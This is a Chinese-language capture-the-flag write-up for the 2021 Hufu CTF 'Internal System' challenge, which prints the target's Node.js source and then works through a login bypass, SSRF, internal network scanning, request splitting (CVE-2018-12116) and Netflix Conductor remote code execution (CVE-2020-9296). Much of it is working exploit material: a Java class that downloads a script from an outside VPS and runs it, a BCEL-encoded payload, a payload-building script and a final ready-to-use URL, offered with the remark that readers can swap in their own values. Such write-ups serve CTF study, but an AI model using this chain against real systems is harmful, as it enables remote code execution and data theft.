[虎符CTF 2021]Internal System
访问source可以得到源码
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
1.弱类型绕过
首先是登录,在登录这里用到了JS的弱类型特性。
登录部分代码:
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
这里参考https://www.gem-love.com/websecurity/2037.html
/login?username[]=admin&password=admin
就绕过了。
2.SSRF拿hint
进去之后是个SSRF
再来看这部分的源码:
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
传入URL参数,且要过这两个WAF
- 检测host为公网IP
- 目录不以flag开头
因为机器上一般监听的是0.0.0.0
于是访问http://0.0.0.0:3000/
就可以访问到。
接下来就是SSRF套娃,我们要访问的是/flag。为了绕过WAF,我们看一下/search
接口
接口必须从本地访问,正好我们已经从本地访问。
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
这其实就是一个没有WAF的ssrf。
/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
顺利拿到hint
提示在内网中有一个 netflix conductor server。
3.内网找netflix conductor server
因为这个服务默认开在8080端口。
于是扫描一下给出的内网网段
发现了服务。
这是一个 Swagger UI,也就是个 API 接口文档。这个东西在以前的比赛也见过几次。
http://0.0.0.0:3000/search?url=http://10.0.35.14:8080/api/swagger.json
拿到接口列表
找一下关于Netflix-Conductor的漏洞 https://xz.aliyun.com/t/7889#toc-4
尝试找一下版本/api/admin/config
发现版本号2.26.0-SNAPSHOT。要比漏洞环境高一些。
4.Netflix-Conductor-RCE
https://xz.aliyun.com/t/7889#toc-4
漏洞点在/api/metadata/taskdefs
,要post一个json过去,里面有 恶意BCEL编码。
网上找了个工具可以BCEL编码/解码。
先在VPS上写下
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://47.97.123.81:11452/exp.txt -O /tmp/exp");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
然后编译。
java -jar BCELCodeman.jar e Evil.class
编译后转换成BCEL编码。
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$m$85$K$7e$a1$3e$886$dd$NH$83$d5$a6$_$N$3e$e1G$84$e8$83$_$$$eb$EGa$d9$y$83$e5$l$f9$ec$Lm$fa$d0$l$e0$8f$d2$de$d9$Yi$a2$93$cc$9d9$e7$9e9$f7$ce$cc$e3$d3$9f$bf$Aj$d80$Q$c7$H$D9$e4$e3$f8$a8$d6$F$j$F$D3$u$eaX$d4$b1$c4$Q$fb$s$3c$n$bf3D$ca$5bg$M$d1$l$83$x$ce$90j$K$8f$l$8d$fa$j$k$b4$9dN$8f$98dK$3a$ee$ed$a1$e3$878$3c$5d$my$df$R$kC$be$7c$d1$bcq$ee$i$bb$e7x$5d$bb$r$D$e1u$f7$95$9d$d1$g$8c$C$97$l$Ie$91h$dc$89$9e$a5t$s$S0t$y$9bX$c1$wC$f5g$97$cb$d2$b5$94$fe$9em$d7$ea$d6$d7$baU$a9$eeX$bb$95$bdJ$a5$f6$a5j$f3$b1o$c9$b1$y$7d$3e$$$d9$b2$ef$xl$a2$845$86$ec$b4jc$ecr_$8a$81gb$j$G$b5$a6$aa1$a4$a7$8a$e3$ce$Nw$rCfJ$9d$8e$3c$v$fa$d4$9bA$j$bc$82$5cy$ab$f9F$b3O$96$7c$cc$5d$86$cd$f2$3b$97$fd$8f$3a$J$G$$$l$O$e9$40$ca$a7$a4$M_$ae$j8$$$c7$gt$fa$R540$f5$I$Ug$J$5d$S$d6h$cdo$ff$C$fb$Nm$3e2A$f4$fc$k$f1$e6$a7$Jb$P$a4$8a$o$894$7d$9c$G$93tE$c4$uF$88$9d$n$3eA$Z$j$Zr$ce$91c$922ih$cf$U$98$8e9$VR$d1P$93y$a9V$a0$c9$d4$7c$I7$ca0$W$SI$8a$f3as$d9$7f$84G$a8iD$C$A$A
然后组合到json里。
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$m$85$K$7e$a1$3e$886$dd$NH$83$d5$a6$_$N$3e$e1G$84$e8$83$_$$$eb$EGa$d9$y$83$e5$l$f9$ec$Lm$fa$d0$l$e0$8f$d2$de$d9$Yi$a2$93$cc$9d9$e7$9e9$f7$ce$cc$e3$d3$9f$bf$Aj$d80$Q$c7$H$D9$e4$e3$f8$a8$d6$F$j$F$D3$u$eaX$d4$b1$c4$Q$fb$s$3c$n$bf3D$ca$5bg$M$d1$l$83$x$ce$90j$K$8f$l$8d$fa$j$k$b4$9dN$8f$98dK$3a$ee$ed$a1$e3$878$3c$5d$my$df$R$kC$be$7c$d1$bcq$ee$i$bb$e7x$5d$bb$r$D$e1u$f7$95$9d$d1$g$8c$C$97$l$Ie$91h$dc$89$9e$a5t$s$S0t$y$9bX$c1$wC$f5g$97$cb$d2$b5$94$fe$9em$d7$ea$d6$d7$baU$a9$eeX$bb$95$bdJ$a5$f6$a5j$f3$b1o$c9$b1$y$7d$3e$$$d9$b2$ef$xl$a2$845$86$ec$b4jc$ecr_$8a$81gb$j$G$b5$a6$aa1$a4$a7$8a$e3$ce$Nw$rCfJ$9d$8e$3c$v$fa$d4$9bA$j$bc$82$5cy$ab$f9F$b3O$96$7c$cc$5d$86$cd$f2$3b$97$fd$8f$3a$J$G$$$l$O$e9$40$ca$a7$a4$M_$ae$j8$$$c7$gt$fa$R540$f5$I$Ug$J$5d$S$d6h$cdo$ff$C$fb$Nm$3e2A$f4$fc$k$f1$e6$a7$Jb$P$a4$8a$o$894$7d$9c$G$93tE$c4$uF$88$9d$n$3eA$Z$j$Zr$ce$91c$922ih$cf$U$98$8e9$VR$d1P$93y$a9V$a0$c9$d4$7c$I7$ca0$W$SI$8a$f3as$d9$7f$84G$a8iD$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
我们需要把这串数据post到/api/metadata/taskdefs
接口里。
但是我们发现post发送的包不可控,于是就又需要NodeJS 8 时的请求拆分漏洞https://www.cvedetails.com/cve/CVE-2018-12116/来用GET方式构造POST请求包。
5.NodeJS 8 请求拆分漏洞
https://www.cvedetails.com/cve/CVE-2018-12116/
尝试用改漏洞来构造post请求。
可以写一个小测试
axios.get('http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private')
.then((r) => console.log(r.data))
.catch(console.error)
发现可以成功换行。
在这里用赵总的脚本构造本题payload
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$m$85$K$7e$a1$3e$886$dd$NH$83$d5$a6$_$N$3e$e1G$84$e8$83$_$$$eb$EGa$d9$y$83$e5$l$f9$ec$Lm$fa$d0$l$e0$8f$d2$de$d9$Yi$a2$93$cc$9d9$e7$9e9$f7$ce$cc$e3$d3$9f$bf$Aj$d80$Q$c7$H$D9$e4$e3$f8$a8$d6$F$j$F$D3$u$eaX$d4$b1$c4$Q$fb$s$3c$n$bf3D$ca$5bg$M$d1$l$83$x$ce$90j$K$8f$l$8d$fa$j$k$b4$9dN$8f$98dK$3a$ee$ed$a1$e3$878$3c$5d$my$df$R$kC$be$7c$d1$bcq$ee$i$bb$e7x$5d$bb$r$D$e1u$f7$95$9d$d1$g$8c$C$97$l$Ie$91h$dc$89$9e$a5t$s$S0t$y$9bX$c1$wC$f5g$97$cb$d2$b5$94$fe$9em$d7$ea$d6$d7$baU$a9$eeX$bb$95$bdJ$a5$f6$a5j$f3$b1o$c9$b1$y$7d$3e$$$d9$b2$ef$xl$a2$845$86$ec$b4jc$ecr_$8a$81gb$j$G$b5$a6$aa1$a4$a7$8a$e3$ce$Nw$rCfJ$9d$8e$3c$v$fa$d4$9bA$j$bc$82$5cy$ab$f9F$b3O$96$7c$cc$5d$86$cd$f2$3b$97$fd$8f$3a$J$G$$$l$O$e9$40$ca$a7$a4$M_$ae$j8$$$c7$gt$fa$R540$f5$I$Ug$J$5d$S$d6h$cdo$ff$C$fb$Nm$3e2A$f4$fc$k$f1$e6$a7$Jb$P$a4$8a$o$894$7d$9c$G$93tE$c4$uF$88$9d$n$3eA$Z$j$Zr$ce$91c$922ih$cf$U$98$8e9$VR$d1P$93y$a9V$a0$c9$d4$7c$I7$ca0$W$SI$8a$f3as$d9$7f$84G$a8iD$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.87.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
把BCEL和内网地址换成你的就可以用了。
得到最终payload
http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.87.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1527%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$m$85$K$7e$a1$3e$886$dd$NH$83$d5$a6$_$N$3e$e1G$84$e8$83$_$$$eb$EGa$d9$y$83$e5$l$f9$ec$Lm$fa$d0$l$e0$8f$d2$de$d9$Yi$a2$93$cc$9d9$e7$9e9$f7$ce$cc$e3$d3$9f$bf$Aj$d80$Q$c7$H$D9$e4$e3$f8$a8$d6$F$j$F$D3$u$eaX$d4$b1$c4$Q$fb$s$3c$n$bf3D$ca$5bg$M$d1$l$83$x$ce$90j$K$8f$l$8d$fa$j$k$b4$9dN$8f$98dK$3a$ee$ed$a1$e3$878$3c$5d$my$df$R$kC$be$7c$d1$bcq$ee$i$bb$e7x$5d$bb$r$D$e1u$f7$95$9d$d1$g$8c$C$97$l$Ie$91h$dc$89$9e$a5t$s$S0t$y$9bX$c1$wC$f5g$97$cb$d2$b5$94$fe$9em$d7$ea$d6$d7$baU$a9$eeX$bb$95$bdJ$a5$f6$a5j$f3$b1o$c9$b1$y$7d$3e$$$d9$b2$ef$xl$a2$845$86$ec$b4jc$ecr_$8a$81gb$j$G$b5$a6$aa1$a4$a7$8a$e3$ce$Nw$rCfJ$9d$8e$3c$v$fa$d4$9bA$j$bc$82$5cy$ab$f9F$b3O$96$7c$cc$5d$86$cd$f2$3b$97$fd$8f$3a$J$G$$$l$O$e9$40$ca$a7$a4$M_$ae$j8$$$c7$gt$fa$R540$f5$I$Ug$J$5d$S$d6h$cdo$ff$C$fb$Nm$3e2A$f4$fc$k$f1$e6$a7$Jb$P$a4$8a$o$894$7d$9c$G$93tE$c4$uF$88$9d$n$3eA$Z$j$Zr$ce$91c$922ih$cf$U$98$8e9$VR$d1P$93y$a9V$a0$c9$d4$7c$I7$ca0$W$SI$8a$f3as$d9$7f$84G$a8iD$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
打进去之后靶机已经下载了我们的sh脚本。
然后修改java代码
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("sh /tmp/exp");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
然后再重复上述操作。
此时vps接到了弹回来的flag
这道题没有bash nc curl perl等命令,因此不能直接反弹shell
结论
思路&考点:
- Javascript弱类型特性
- SSRF的绕过
- 内网网段寻找内网服务
- CVE-2020-9296-Netflix-Conductor-RCE-漏洞
- NodeJS 8 的 HTTP 请求走私 / 请求拆分漏洞
参考:https://www.zhaoj.in/read-6905.html
https://miaotony.xyz/2021/04/05/CTF_2021HFCTF_internal_system/#toc-heading-9